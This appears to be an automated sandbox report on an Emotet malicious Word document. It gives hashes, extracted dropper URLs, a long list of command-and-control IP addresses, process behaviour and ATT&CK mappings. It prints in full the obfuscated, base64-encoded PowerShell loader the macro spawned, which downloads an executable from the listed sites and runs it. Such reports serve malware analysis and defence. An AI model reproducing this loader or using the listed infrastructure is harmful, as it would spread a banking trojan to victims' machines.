emotet | 7d9b105bc30d62bcdd42543f64fbb302ff4a66be6a6d588357338a2437f9af74

Analysis

max time kernel
136s
max time network
142s
platform
windows10_x64
resource
win10
submitted
30/09/2020, 00:41

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General

Target
emotet_e1_7d9b105bc30d62bcdd42543f64fbb302ff4a66be6a6d588357338a2437f9af74_2020-09-30__003755528434._doc.doc
Size 145KB
Sample200930-8e5bcdelxx
SHA256 7d9b105bc30d62bcdd42543f64fbb302ff4a66be6a6d588357338a2437f9af74
MD5 2fa86db2eff5841ff8cc91aa980c8454
SHA1 3e8aa7e7c735d74ba8a73e06cfd663a97c6fed3c
SHA512 f6685be0385c7a7a043a0d52aa2f4d4d123668950cac10caa3466ed7b79e38bcbd4dd3fedc85b30ae67c31182ca6283a2b9ad7d16cce295920aafd38863a0546
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://www.productsofindiareviews.com/css/9Ut/
exe.dropper
https://online24h.biz/wp-admin/n/
exe.dropper
https://star-speed.vip/wp-admin/jp/
exe.dropper
https://kenhthietke.com/0Fg/
exe.dropper
https://syntegows.com/chirag/KX/
exe.dropper
https://vishalpatola.com/wp-admin/2/
exe.dropper
https://shmct.org/wp-admin/Xm/

Extracted

Family

emotet

202.22.141.45:80
37.187.161.206:8080
202.29.239.162:443
80.87.201.221:7080
82.76.111.249:443
216.47.196.104:80
192.241.143.52:8080
192.81.38.31:80
87.106.253.248:8080
64.201.88.132:80
192.241.146.84:8080
12.162.84.2:8080
1.226.84.243:8080
177.129.17.170:443
202.134.4.210:7080
70.169.17.134:80
152.169.22.67:80
5.196.35.138:7080
138.97.60.141:7080
203.205.28.68:80
83.169.21.32:7080
191.182.6.118:80
190.188.245.242:80
62.84.75.50:80
181.74.0.251:80
189.2.177.210:443
111.67.12.221:8080
188.135.15.49:80
217.13.106.14:8080
68.183.190.199:8080
178.250.54.208:8080
189.35.44.221:80
201.213.177.139:80
137.74.106.111:7080
177.73.0.98:443
70.32.84.74:8080
51.15.7.145:80
177.74.228.34:80
185.94.252.27:443
50.121.220.50:80
186.70.127.199:8090
85.214.26.7:8080
181.129.96.162:8080
70.32.115.157:8080
82.230.1.24:80
60.93.23.51:80
213.197.182.158:8080
149.202.72.142:7080
190.115.18.139:8080
72.167.223.217:8080
190.24.243.186:80
109.169.12.78:80
94.176.234.118:443
185.232.182.218:80
219.92.13.25:80
209.236.123.42:8080
119.106.216.84:80
51.255.165.160:8080
51.75.33.127:80
51.15.7.189:80
61.197.92.216:80
5.189.178.202:8080
172.104.169.32:8080
45.33.77.42:8080
98.13.75.196:80
74.58.215.226:80
68.183.170.114:8080
155.186.0.121:80
190.117.79.209:80
128.92.203.42:80
202.4.58.197:80
70.116.143.84:80
77.238.212.227:80
67.247.242.247:80
12.163.208.58:80
212.71.237.140:8080
46.43.2.95:8080
96.227.52.8:443
186.103.141.250:443
185.94.252.12:80
104.131.41.185:8080
45.46.37.97:80
95.9.180.128:80
87.106.46.107:8080
50.28.51.143:8080
65.36.62.20:80
35.143.99.174:80
51.38.124.206:80
185.183.16.47:80
181.30.61.163:443
170.81.48.2:80
74.136.144.133:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1912	388	POwersheLL.exe	73

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/3996-18-0x00000000022D0000-0x00000000022E0000-memory.dmp	emotet
behavioral2/memory/3996-18-0x00000000022D0000-0x00000000022E0000-memory.dmp	emotet
behavioral2/memory/2748-24-0x0000000002210000-0x0000000002220000-memory.dmp	emotet
behavioral2/memory/2748-24-0x0000000002210000-0x0000000002220000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
15	1912	POwersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
3996	T36vmr9l.exe
2748	Windows.Devices.Background.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\asferror\Windows.Devices.Background.exe	T36vmr9l.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3024	WINWORD.EXE
3024	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
1912	POwersheLL.exe
1912	POwersheLL.exe
1912	POwersheLL.exe
2748	Windows.Devices.Background.exe
2748	Windows.Devices.Background.exe
2748	Windows.Devices.Background.exe
2748	Windows.Devices.Background.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1912	POwersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3024	WINWORD.EXE
3024	WINWORD.EXE
3024	WINWORD.EXE
3024	WINWORD.EXE
3024	WINWORD.EXE
3024	WINWORD.EXE
3024	WINWORD.EXE
3024	WINWORD.EXE
3024	WINWORD.EXE
3996	T36vmr9l.exe
3996	T36vmr9l.exe
2748	Windows.Devices.Background.exe
2748	Windows.Devices.Background.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1912 wrote to memory of 3996	1912	POwersheLL.exe	81
PID 1912 wrote to memory of 3996	1912	POwersheLL.exe	81
PID 1912 wrote to memory of 3996	1912	POwersheLL.exe	81
PID 3996 wrote to memory of 2748	3996	T36vmr9l.exe	83
PID 3996 wrote to memory of 2748	3996	T36vmr9l.exe	83
PID 3996 wrote to memory of 2748	3996	T36vmr9l.exe	83

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_7d9b105bc30d62bcdd42543f64fbb302ff4a66be6a6d588357338a2437f9af74_2020-09-30__003755528434._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3024

C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
POwersheLL -ENCOD JABJAGIAYQB0AGQAbwBtAD0AKAAnAE0AYwAnACsAKAAnAHoAJwArACcAbgBpACcAKQArACcAcgA1ACcAKQA7AC4AKAAnAG4AZQAnACsAJwB3AC0AaQB0ACcAKwAnAGUAbQAnACkAIAAkAGUATgB2ADoAdQBTAGUAUgBwAFIATwBGAGkATABFAFwAUwBzAEgATgBhAE0ASQBcAFUANwBfAEIAVQB5AGEAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAFIAZQBDAFQATwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBDAFUAYABSAEkAVABZAHAAYABSAG8AYABUAGAATwBjAE8ATAAiACAAPQAgACgAKAAnAHQAJwArACcAbABzADEAMgAnACkAKwAoACcALAAgACcAKwAnAHQAbAAnACkAKwAoACcAcwAxADEAJwArACcALAAgACcAKQArACcAdAAnACsAJwBsAHMAJwApADsAJABJAGEAegB1ADcANgBiACAAPQAgACgAKAAnAFQAJwArACcAMwA2AHYAJwApACsAKAAnAG0AJwArACcAcgA5ACcAKQArACcAbAAnACkAOwAkAFAAbAA0ADQAZwBzAHkAPQAoACgAJwBFACcAKwAnAGkANgAnACkAKwAoACcANQAnACsAJwB0AG0AJwApACsAJwBtACcAKQA7ACQAUQA3AHMAYwB6ADQAaQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwBjAEoAJwArACgAJwB1ACcAKwAnAFMAcwBoAG4AYQBtACcAKQArACcAaQBjACcAKwAoACcASgB1AFUANwAnACsAJwBfAGIAJwArACcAdQB5AGEAJwApACsAKAAnAGMASgAnACsAJwB1ACcAKQApACAALQBDAFIARQBwAGwAYQBDAEUAIAAgACgAWwBjAGgAQQByAF0AOQA5ACsAWwBjAGgAQQByAF0ANwA0ACsAWwBjAGgAQQByAF0AMQAxADcAKQAsAFsAYwBoAEEAcgBdADkAMgApACsAJABJAGEAegB1ADcANgBiACsAKAAoACcALgBlACcAKwAnAHgAJwApACsAJwBlACcAKQA7ACQASgA3ADkAeAA2AHkAbAA9ACgAKAAnAE0AawA0ACcAKwAnADUAcQAnACsAJwBoACcAKQArACcANgAnACkAOwAkAEIAZwBhAHkAbwB2AHIAPQAuACgAJwBuAGUAdwAtAG8AYgAnACsAJwBqACcAKwAnAGUAYwB0ACcAKQAgAG4ARQBUAC4AVwBFAGIAQwBsAGkARQBOAHQAOwAkAFEAMQBlAGEAbgA5AGIAPQAoACgAJwBoACcAKwAnAHQAdABwACcAKQArACcAOgAnACsAJwAvAC8AJwArACgAJwB3AHcAdwAnACsAJwAuAHAAJwArACcAcgBvAGQAJwArACcAdQBjAHQAcwBvACcAKwAnAGYAaQBuACcAKQArACgAJwBkAGkAYQAnACsAJwByAGUAJwApACsAJwB2ACcAKwAnAGkAJwArACcAZQAnACsAKAAnAHcAcwAuACcAKwAnAGMAbwAnACkAKwAoACcAbQAnACsAJwAvAGMAJwApACsAJwBzAHMAJwArACgAJwAvACcAKwAnADkAVQB0ACcAKQArACcALwAqACcAKwAoACcAaAB0ACcAKwAnAHQAcABzADoAJwApACsAKAAnAC8ALwBvACcAKwAnAG4AbABpACcAKQArACgAJwBuACcAKwAnAGUAMgAnACkAKwAoACcANABoAC4AYgAnACsAJwBpACcAKQArACgAJwB6ACcAKwAnAC8AdwBwAC0AJwApACsAKAAnAGEAZAAnACsAJwBtACcAKQArACgAJwBpACcAKwAnAG4ALwBuAC8AJwArACcAKgAnACsAJwBoAHQAdAAnACkAKwAnAHAAJwArACgAJwBzACcAKwAnADoALwAvACcAKQArACcAcwAnACsAJwB0ACcAKwAoACcAYQByAC0AJwArACcAcwBwACcAKwAnAGUAJwApACsAKAAnAGUAZAAuACcAKwAnAHYAaQBwACcAKQArACgAJwAvAHcAcAAtAGEAZAAnACsAJwBtACcAKQArACcAaQBuACcAKwAoACcALwBqACcAKwAnAHAAJwApACsAJwAvACoAJwArACcAaAB0ACcAKwAoACcAdAAnACsAJwBwAHMAOgAvAC8AawAnACsAJwBlACcAKQArACgAJwBuACcAKwAnAGgAdABoAGkAZQAnACsAJwB0AGsAZQAnACkAKwAnAC4AJwArACgAJwBjAG8AbQAvADAAJwArACcARgBnAC8AJwApACsAJwAqAGgAJwArACgAJwB0AHQAJwArACcAcABzADoAJwApACsAJwAvAC8AJwArACcAcwAnACsAKAAnAHkAbgAnACsAJwB0ACcAKQArACgAJwBlAGcAJwArACcAbwAnACkAKwAnAHcAJwArACgAJwBzAC4AYwBvACcAKwAnAG0ALwBjAGgAJwApACsAJwBpAHIAJwArACgAJwBhAGcAJwArACcALwAnACkAKwAnAEsAJwArACcAWAAvACcAKwAnACoAJwArACgAJwBoAHQAJwArACcAdABwACcAKwAnAHMAOgAvAC8AJwApACsAKAAnAHYAJwArACcAaQBzACcAKwAnAGgAYQBsAHAAJwApACsAKAAnAGEAdABvAGwAYQAnACsAJwAuAGMAbwBtACcAKwAnAC8AJwApACsAKAAnAHcAJwArACcAcAAtAGEAZABtAGkAJwArACcAbgAvADIALwAnACkAKwAoACcAKgBoAHQAdABwAHMAJwArACcAOgAnACsAJwAvAC8AJwApACsAJwBzAGgAJwArACgAJwBtACcAKwAnAGMAdAAuAG8AJwArACcAcgBnACcAKQArACcALwAnACsAJwB3ACcAKwAoACcAcAAtAGEAJwArACcAZAAnACkAKwAoACcAbQAnACsAJwBpAG4ALwAnACkAKwAoACcAWAAnACsAJwBtAC8AJwApACkALgAiAFMAcABgAEwASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAUwA3AHMAZAB0AGEAbAA9ACgAKAAnAEEAJwArACcAbwBjAGkAXwAnACsAJwB6ACcAKQArACcAaQAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABKADUAaAB2AGQAdAA2ACAAaQBuACAAJABRADEAZQBhAG4AOQBiACkAewB0AHIAeQB7ACQAQgBnAGEAeQBvAHYAcgAuACIARABvAHcAYABOAGwAbwBgAEEAZABmAGkAYABsAGUAIgAoACQASgA1AGgAdgBkAHQANgAsACAAJABRADcAcwBjAHoANABpACkAOwAkAE4AcAAwAHYAXwB5ADQAPQAoACgAJwBaADIAJwArACcAbQAnACkAKwAnADgAMQAnACsAJwA2AHQAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQAnACsAJwB0AC0ASQB0AGUAJwArACcAbQAnACkAIAAkAFEANwBzAGMAegA0AGkAKQAuACIATABFAE4ARwBgAFQAaAAiACAALQBnAGUAIAAzADkAMgAyADMAKQAgAHsAJgAoACcASQAnACsAJwBuACcAKwAnAHYAbwBrAGUAJwArACcALQBJAHQAZQBtACcAKQAoACQAUQA3AHMAYwB6ADQAaQApADsAJABUAGUAeAA2AGoAeABuAD0AKAAnAEoAdwAnACsAKAAnAHIAdwBkACcAKwAnAGMANAAnACkAKQA7AGIAcgBlAGEAawA7ACQASgBrAGIAagBqAGQAYgA9ACgAKAAnAE8AJwArACcAZAAzACcAKQArACcAegBvACcAKwAnADYAaAAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEMANQBqAHYAdgB1AGsAPQAoACcAUAAnACsAKAAnAF8AdwAnACsAJwBjACcAKQArACgAJwBtAG0AJwArACcAOAAnACkAKQA=
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1912
- C:\Users\Admin\Sshnami\U7_buya\T36vmr9l.exe
  "C:\Users\Admin\Sshnami\U7_buya\T36vmr9l.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3996
- - C:\Windows\SysWOW64\asferror\Windows.Devices.Background.exe
    "C:\Windows\SysWOW64\asferror\Windows.Devices.Background.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:2748

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1912-9-0x00007FFF524A0000-0x00007FFF52E8C000-memory.dmp

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memory/1912-11-0x00000280F0500000-0x00000280F0501000-memory.dmp

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memory/1912-10-0x00000280D8080000-0x00000280D8081000-memory.dmp

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memory/2748-24-0x0000000002210000-0x0000000002220000-memory.dmp

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memory/3024-8-0x000002AF8BF79000-0x000002AF8BF7E000-memory.dmp

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memory/3024-0-0x00007FFF598C0000-0x00007FFF59F86000-memory.dmp

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memory/3024-7-0x000002AF8BF79000-0x000002AF8BF7E000-memory.dmp

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memory/3024-6-0x000002AF8BF79000-0x000002AF8BF7E000-memory.dmp

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memory/3024-5-0x000002AF8A043000-0x000002AF8A056000-memory.dmp

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memory/3024-4-0x000002AF8BDEC000-0x000002AF8BDEF000-memory.dmp

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memory/3024-3-0x000002AF8BDEC000-0x000002AF8BDEF000-memory.dmp

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memory/3024-2-0x000002AF8BDEC000-0x000002AF8BDEF000-memory.dmp

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memory/3024-1-0x000002AF8A020000-0x000002AF8A043000-memory.dmp

Download

memory/3996-18-0x00000000022D0000-0x00000000022E0000-memory.dmp

Download